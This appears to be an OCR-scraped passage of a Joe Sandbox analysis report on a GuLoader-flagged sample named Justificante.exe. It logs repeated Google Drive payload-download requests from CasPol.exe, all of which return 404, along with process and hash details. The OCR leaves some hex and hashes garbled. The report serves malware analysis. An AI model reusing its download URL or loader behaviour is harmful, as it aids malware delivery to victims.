Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:18 UTC 143

2021-11-24 10:55:18 UTC 144

2021-11-24 10:55:18 UTC 145

2021-11-24 10:55:18 UTC 145

Session ID Source IP

97 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:19 UTC 145

2021-11-24 10:55:19 UTC 145

2021-11-24 10:55:19 UTC 146

2021-11-24 10:55:19 UTC 146

Session ID Source IP
98 192.168.11.20
Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49921

Direction

ouT

Source Port

49922

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIj\WmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Content-Security-Policy: script-src 'nonce-06SYILOVGRNSWaCY6zwgww' ‘unsafe-inline' 'strict-dynamic' https: http: ‘unsafe
-eval';object-src 'none';base-uri 'self;;report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:18 GMT

Expires: Wed, 24 Nov 2021 10:55:18 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src ‘'nonce-0RaDBuuayyAr2Ti7NZu0SQ' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_I9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}]}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:19 GMT

Expires: Wed, 24 Nov 2021 10:55:19 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e Oa 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process
142.250.181.238 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
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kBytes
Timestamp transferred

2021-11-24 10:55:19 UTC 146

2021-11-24 10:55:19 UTC 147

2021-11-24 10:55:19 UTC 148

2021-11-24 10:55:19 UTC 148

Session ID Source IP

99 192.168.11.20
kBytes

Timestamp transferred

2021-11-24 10:55:19 UTC 148

2021-11-24 10:55:20 UTC 148

2021-11-24 10:55:20 UTC 149

2021-11-24 10:55:20 UTC 149

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49923

Direction

ouTt

Data

GET /uc?export=download&id=1S6MO0jmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjieMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKxE809m6fb5ZmhplppR2ViFI
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Report-To: {"group":"coop_gse_l9ocaqg","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}}

Content-Security-Policy: script-src 'nonce-A5ygwHFIMp9kdmTMTOHjxQ' 'unsafe-inline' 'strict-dynamic' https: http: ‘unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_|9ocaq"

Date: Wed, 24 Nov 2021 10:55:19 GMT

Expires: Wed, 24 Nov 2021 10:55:19 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e Oa 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4Af 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e Oa 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 8d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0

Destination IP Destination Port Process

142.250.181.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Data

GET /uc?export=download&id=1S6MOjmIQ7BGs7XtvAiCavBh3SE4VwmBa HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: drive.google.com

Cache-Control: no-cache

Cookie: NID=511=RQ1XZCUegmw_gsm-xgozILE8IK-9exs93JVgyXRX73iGEoQCj9WpVk3WKrj2Pnsq_DpZ5sJvMy
WHvZuVREmbPVU5SAZjjeMh-PR8kuUcF7ZVbK1h2EXDOChTtj6bKOFauMrpO5MIjWmgKXxE809m6fb5ZmhplppR2ViF|
EAgoLjM

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Content-Security-Policy: script-src 'nonce-hKeyQYaDHIBK9jXXA+Eofg' ‘unsafe-inline' ‘strict-dynamic’ https: http: ‘unsafe-
eval';object-src 'none’;base-uri ‘self;report-uri https://csp.withgoogle.com/csp/drive-explorer/

Report-To: {"group”:"coop_gse_|9ocaqg","max_age":2592000, " "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gs
e_|9ocaq"}|}

Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_I9ocaq"

Date: Wed, 24 Nov 2021 10:55:20 GMT

Expires: Wed, 24 Nov 2021 10:55:20 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1; mode=block

Server: GSE

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Accept-Ranges: none

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Data Raw: 38 64 0d Oa 3c 48 54 4d 4c 3e Oa 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f
54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54
45 58 54 3d 22 23 30 30 30 30 30 30 22 3e Oa 3c 48 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e Oa 3c 48 32 3e 45 72
72 6f 72 20 34 30 34 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e Oa 0d Oa

Data Ascii: 83d<HTML><HEAD><TITLE>Not Found</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Not Found</H1><H2>Error 404</H2></BODY></HTML>

Data Raw: 30 0d Oa 0d Oa
Data Ascii: 0
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Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: Justificante.exe PID: 4288 Parent PID: 5416

General
Start time: 11:53:27
Start date: 24/11/2021
Path: C:\Users\user\Desktop\Justificante.exe
Wow64 process (32bit): true
Commandline: "C:\Users\user\Desktop\Justificante.exe"
Imagebase: 0x400000
File size: 192512 bytes
MD5 hash: DEBED1988744625A65D94BDBE9525B94
Has elevated privileges: true
Has administrator privileges: true
Programmed in: Visual Basic
Reputation: low
File Activities Show Windows behavior

Analysis Process: CasPol.exe PID: 1640 Parent PID: 4288

General

Start time: 11:54:19

Start date: 24/11/2021

Path: C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Wow64 process (32bit): false

Commandline: "C:\Users\user\Desktop\Justificante.exe"
Imagebase: 0x110000

File size: 108664 bytes

MDS5 hash: 914F728C04D3EDDD5FBA59420E74E56B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: CasPol.exe PID: 3536 Parent PID: 4288

General

Start time: 11:54:19
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Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

24/11/2021

C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
true

"C:\Users\user\Desktop\Justificante.exe"

0xbe0000

108664 bytes

914F728C04D3EDDD5FBA59420E74E56B

true

true

C, C++ or other language

e Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source:
0000000A.00000000.278095159445.0000000000FC0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities Show Windows behavior
File Created
Analysis Process: conhost.exe PID: 7192 Parent PID: 3536

General

Start time: 11:54:20

Start date: 24/11/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff60a760000

875008 bytes
81CA40085FC75BABD2C91D18AA9FFAGS

true

true

C, C++ or other language

moderate

Show Windows behavior

Joe Sandbox Cloud Basic 34.0.0 Boulder Opal
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